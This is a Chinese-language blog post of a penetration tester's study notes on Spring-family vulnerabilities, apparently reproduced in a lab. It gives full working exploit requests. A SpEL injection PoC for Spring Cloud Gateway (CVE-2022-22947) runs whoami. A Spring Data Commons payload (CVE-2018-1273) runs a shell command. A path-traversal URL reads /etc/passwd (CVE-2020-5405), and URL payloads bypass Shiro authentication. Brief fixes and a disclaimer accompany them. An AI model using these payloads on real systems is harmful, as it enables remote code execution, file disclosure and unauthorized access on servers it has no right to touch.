巴扎嘿的入行笔记(渗透测试工程师)(十二【中】)-spring系列漏洞
作者:巴扎嘿啦啦啦 | 发布时间:
相关声明
本文内容仅为技术科普,请勿用于非法用途,本人概不负责,后果自负。
我也是入行6个月的菜b,文章内容有问题请及时指正,感谢!
(3 Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)
https://blog.csdn.net/xiaobai_20190815/article/details/124045768
漏洞名称:Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)
漏洞级别:严重
漏洞URL:
漏洞风险:攻击者可通过路由注入任意恶意命令,造成任意系统命令执行,危害严重。
漏洞描述:Spring CloudGateway存在路由命令注入漏洞,攻击者可通过路由注入任意恶意命令,造成任意系统命令执行,危害严重。
解决方案:Spring Boot禁用所有接口。比如要禁用/env接口,则可设置如下:
endpoints.env.enabled= false
如果只想打开一两个接口,那就先禁用全部接口,然后启用需要的接口:
endpoints.enabled = false
endpoints.metrics.enabled = true。
漏洞验证:
1 部署环境,访问actuator路径是否开启


2 查看路由actuator/gateway/routes,构造恶意路由(需要加content-type:application/json,要不会返回415,actuator/gateway/refres刷新路由,添加成功且返回whoami的值为root,如图所示:
poc:
POST /actuator/gateway/routes/test1 HTTP/1.1
Host: 172.17.0.1:8080
Cache-Control:max-age=0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=DD4729B30640B1A719B8DCC7E5E8CFB6
Content-Length: 326
Content-Type:application/json
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd"
}
}
],
"uri": "http://example.com:80",
"order": 0
}




3 删除我们前面构造的路由,DELETE /actuator/gateway/routes/test,如图所示:

(4 Spring-data-commons 远程命令执行漏洞(CVE-2018-1273)
漏洞名称:Spring-data-commons 远程命令执行漏洞(CVE-2018-1273)
参考文章:https://blog.csdn.net/weixin_45695535/article/details/123897486
漏洞级别:高危
漏洞描述:Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
解决方案:升级spring data 版本
漏洞验证:
1 部署环境,访问users目录看是否存在,如图所示:

2 发送poc如下,进入docker查看是否成功rce创建success,如图所示:
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
反射+getruntime().exec()执行linux命令,一般还有个ProcessBuilder,但这个挺难用的需要俩参数,试着替换了半天都没弄成功,要是有大佬会替换给我教一下哈。


3 msf上线,具体方法见我下一个帖子。

(5 Spring目录遍历CVE-2020-5405
漏洞名称:Spring目录遍历(CVE-2020-5405)
漏洞级别:中-高危
漏洞url:
http://X.X.X.X:8888/1/1/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc/passwd
漏洞风险:
漏洞描述:Spring Cloud Config,2.2.3之前的2.2.x版本,2.1.9之前的2.1.x版本以及较旧的不受支持的版本允许应用程序通过spring-cloud-config-server模块提供任意配置文件。恶意用户或攻击者可以使用特制URL发送请求,这可能导致目录遍历攻击。
1/1/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc/passwd(不用管前面的直接改后面的就行,要管前面两个1是啥就看一下下面的参考文章)
具体的详解可以看这个:https://xz.aliyun.com/t/8303

(6 apache shrio身份验证绕过CVE-2020-17523
漏洞名称:apache shrio身份验证绕过CVE-2020-17523
漏洞级别:高危
漏洞描述:当Apache Shiro与Spring框架结合使用时,攻击者可以通过构造特殊的HTTP请求数据包,绕过身份认证匹配规则。
解决方案:升级shrio
Paylod:/admin/%20(参考文章:https://zhuanlan.zhihu.com/p/349312477)

(7 CVE-2020-11989
CVE-2020-11989也是个shrio+spring的payload是
漏洞描述:在Shiro<1.5.3的情况下,将Shiro与Spring Controller一起使用时,相应请求可能会导致身份验证绕过。
toJsonList(admin)/a%25%32%66a
/toJsonList(admin)/%25%32%66
后三个小洞都是凑数的嘻嘻嘻,对我来说写这些就是打靶场,每个都试试哈哈哈